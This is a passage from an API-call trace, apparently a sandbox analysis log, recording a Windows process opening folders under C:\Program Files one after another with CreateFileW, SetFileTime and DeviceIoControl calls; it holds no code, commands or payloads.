Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0056.065] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0056.065] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe08, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe08, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0056.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0056.066] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0056.066] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe08, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe08, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0056.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0056.067] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0056.067] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe08, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe08, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0056.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0056.068] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.068] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe08, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe08, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition" (normalized: "c:\\program files\\microsoft sql server compact edition"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0056.068] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0056.069] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe08, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe08, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0056.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0056.069] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.069] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe08, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe08, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0056.071] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.071] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe08, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe08, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework" (normalized: "c:\\program files\\microsoft sync framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0056.071] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0056.071] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe08, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe08, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0056.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0" (normalized: "c:\\program files\\microsoft sync framework\\v1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0056.072] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.072] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe08, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe08, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0056.073] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.073] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe08, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe08, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0056.074] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0056.074] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe08, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe08, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0056.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0056.075] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0056.075] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1acfe08, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0x1acfe08, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0056.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0056.075] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.075] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0056.076] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0056.076] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0056.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0056.078] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0056.079] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0056.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0056.079] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0056.079] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0056.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services" (normalized: "c:\\program files\\microsoft synchronization services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.079] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0056.080] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0056.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.080] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.080] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\v1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.081] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.081] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.084] CreateFileW (lpFileName="C:\\Program Files\\MSBuild" (normalized: "c:\\program files\\msbuild"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0056.084] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0056.084] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0056.085] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft" (normalized: "c:\\program files\\msbuild\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0056.085] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.085] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.085] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0056.085] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.085] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.086] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0056.086] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0056.086] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0056.086] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0056.086] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0056.086] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0056.087] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies" (normalized: "c:\\program files\\reference assemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0056.087] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0056.087] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0056.087] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft" (normalized: "c:\\program files\\reference assemblies\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0056.087] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.087] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.088] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0056.088] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0056.088] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0056.088] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0056.088] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0056.088] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0056.090] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0056.090] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0056.090] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0056.090] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0056.091] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0056.091] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0056.093] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0056.093] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0056.093] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0056.093] CreateFileW (lpFileName="C:\\Program Files\\Uninstall Information" (normalized: "c:\\program files\\uninstall information"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0056.094] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0056.094] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0056.094] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender" (normalized: "c:\\program files\\windows defender"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.094] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0056.094] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0056.094] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US" (normalized: "c:\\program files\\windows defender\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0056.095] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0056.095] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0x1a9edf0, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0056.095] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal" (normalized: "c:\\program files\\windows journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0056.095] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0056.095] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a9edf0, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: 